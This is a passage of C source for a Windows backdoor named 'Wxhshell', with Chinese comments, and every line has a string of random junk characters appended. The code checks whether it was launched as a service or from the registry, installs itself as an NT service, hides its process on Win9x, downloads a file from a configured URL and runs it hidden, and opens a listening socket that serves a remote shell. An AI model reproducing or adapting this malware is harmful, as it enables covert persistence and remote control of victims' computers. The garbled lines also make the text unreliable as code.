ULONG InheritedFromUniqueProcessId; ,`ZPtnH+
} PROCESS_BASIC_INFORMATION; X_vI0YX9
3*CzXK>`M&
PROCNTQSIP NtQueryInformationProcess; 7JxE|G
Z}sG3p
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d9`3EP)n
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1mT|o_K{ T
cmwzKu%
HANDLE hProcess; 34X(J-1\|i
PROCESS_BASIC_INFORMATION pbi; f}L>&^I)
u@GRN`yn
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nQ:ml
if(NULL == hInst ) return 0; XR{5]lKt_
v< 65(I>
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); TSc~$Q]
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }}kS~
w-#
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); a)I=U[
C ffTv
if (!NtQueryInformationProcess) return 0; UgF) J
gi1}5DR
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o|rGy5
if(!hProcess) return 0; O\|C,Epm
XV74Fl
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Y|hzF:ll
xTa4.ZXg
CloseHandle(hProcess); x:f|3"\s
G=r(SJq
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Gk{
"O%AE
if(hProcess==NULL) return 0; 4
+da
t-v^-#
HMODULE hMod; 9s;!iDFn
char procName[255]; OhSt6&+
unsigned long cbNeeded; |% M{kA-
bqZ?uvc3
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1Y H4a|bc
N:UDbLjw~
CloseHandle(hProcess); fl
pXVtsQ
"Cb.cO$i;
if(strstr(procName,"services")) return 1; // 以服务启动 A^T~@AO
SX_kr^#
return 0; // 注册表启动 <6d{k[7fz)
} +XU$GSw3(
n.Ur-ot
// 主模块 %0ll4"
int StartWxhshell(LPSTR lpCmdLine) eZ8Y"i\!y
{ *@\?}cX
SOCKET wsl; XPc9z}/(e
BOOL val=TRUE; *tq|x[<
int port=0; o*O"\/pmF
struct sockaddr_in door; SXHru Z
F8|5_214'
if(wscfg.ws_autoins) Install(); 1+16i=BF)
N=O+X~
port=atoi(lpCmdLine); [[*0MA2Y
)rs|=M=Xk
if(port<=0) port=wscfg.ws_port; dVj'
;JPbBwm
WSADATA data; Lyf? V(S
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =`7#^7Q9
T!=20 !I
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; I:uQB!
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }\PE {
door.sin_family = AF_INET; 'gk81@|
door.sin_addr.s_addr = inet_addr("127.0.0.1"); zJy 89ib'
door.sin_port = htons(port); 4'}_qAT
v$.JmL0^J
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "lv:hz
closesocket(wsl); 1OiZNuI:E
return 1; j{7ilo(i
} )CwMR'LV
Mf%^\g.}
if(listen(wsl,2) == INVALID_SOCKET) { [T.(MbP
closesocket(wsl); i#M a-0#
return 1; Y1U"HqNl*
} {E3<GeHw4
Wxhshell(wsl); {.' ,%)
WSACleanup(); ,<^tsCI
4t%:O4
3e
return 0; t]u(jX)
3IJI5K_
} T;4gcJPn"M
Sob $j
// 以NT服务方式启动 = h<? /Krs
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Zgy2Pot
{ Rktn/Vi
DWORD status = 0; <u x*r#a!d
DWORD specificError = 0xfffffff; {d?4;Kd
,#'o)O#
serviceStatus.dwServiceType = SERVICE_WIN32; xnhDW7m
serviceStatus.dwCurrentState = SERVICE_START_PENDING; VtzyB
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .qqb>7|q
serviceStatus.dwWin32ExitCode = 0; \ ]kb&Qw
serviceStatus.dwServiceSpecificExitCode = 0; bzj!d|T`
serviceStatus.dwCheckPoint = 0; +>i<sk
serviceStatus.dwWaitHint = 0; _Pfx_+
#v~S",*.f
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z`xz~9a<
if (hServiceStatusHandle==0) return; "j.oR}s9?#
XTi0,e]5{u
status = GetLastError(); $3]E8t
if (status!=NO_ERROR) "zeJ4f
{ {-v\&w
serviceStatus.dwCurrentState = SERVICE_STOPPED; hD6ur=G8u
serviceStatus.dwCheckPoint = 0; Jc"$p\ $-
serviceStatus.dwWaitHint = 0; +EiUAs~H
serviceStatus.dwWin32ExitCode = status; -}N\REXE
serviceStatus.dwServiceSpecificExitCode = specificError; } TX'Z?Lq
SetServiceStatus(hServiceStatusHandle, &serviceStatus); D|Ih e%w-
return; <R`,zE@t'(
} ku[=QsMv
X>@.-{6T
serviceStatus.dwCurrentState = SERVICE_RUNNING; iu6WGmR
serviceStatus.dwCheckPoint = 0; Z@.ol Y
serviceStatus.dwWaitHint = 0; }ygbgyLa
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #*>7X>,J
} @k:f}-t
wzQdKlV
// 处理NT服务事件,比如:启动、停止 j$mt*z L
VOID WINAPI NTServiceHandler(DWORD fdwControl) .X<"pd*@e
{ 1n"+~N^\
switch(fdwControl) .2{C29g
{ V=l Q}sBY
case SERVICE_CONTROL_STOP: s:jL/%+COZ
serviceStatus.dwWin32ExitCode = 0; ;FgEE%
serviceStatus.dwCurrentState = SERVICE_STOPPED; wJeqa
serviceStatus.dwCheckPoint = 0; U+RCQTo
serviceStatus.dwWaitHint = 0; R/Dy05nloe
{ /m{?o
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8|jX ~f
} R0YC:rAt
return; Dho^^<`c+
case SERVICE_CONTROL_PAUSE: /4-eoTxy
serviceStatus.dwCurrentState = SERVICE_PAUSED; c@o/Cv
break; /P8eI3R
case SERVICE_CONTROL_CONTINUE: i:Z.;z$1
serviceStatus.dwCurrentState = SERVICE_RUNNING; QhE("}1
break; rD(ep~^M
case SERVICE_CONTROL_INTERROGATE: Dpp52UnTE
break; Ng;b!S
}; ;cm{4%=Iqe
SetServiceStatus(hServiceStatusHandle, &serviceStatus); p3A-WK|NX
} ?j4,^K3
)oxP.K8q)U
// 标准应用程序主函数 sei!9+bZr
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /=U v
{ "$:y03V
/?dQUu^z
// 获取操作系统版本 B=Jd%Av
OsIsNt=GetOsVer(); 0.Ol@fO
GetModuleFileName(NULL,ExeFile,MAX_PATH); =<FZ{4
3d)+44G_)
// 从命令行安装 {R{%Z
if(strpbrk(lpCmdLine,"iI")) Install(); _OxnHf:|
.&yWHdQC:
// 下载执行文件 (27F
if(wscfg.ws_downexe) { VY&9kN
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 85@6uBh
WinExec(wscfg.ws_filenam,SW_HIDE); 8DS5<
} _Fh0^O@
<T_Nlar^^
if(!OsIsNt) { _8b>r1$
// 如果时win9x,隐藏进程并且设置为注册表启动 vVN[bD<
HideProc(); "6NNId|Y
StartWxhshell(lpCmdLine); M"$RtS|h
} {u=\-|t
else Mn\B\
if(StartFromService()) f+*2K^B
// 以服务方式启动 O"-PNF,J
StartServiceCtrlDispatcher(DispatchTable); _467~5JkU
else &\]f!'jV
// 普通方式启动 \=G
Xe.}4d
StartWxhshell(lpCmdLine); ~z1KD)^
wsGq>F~
return 0; VQNH@g^gqr
}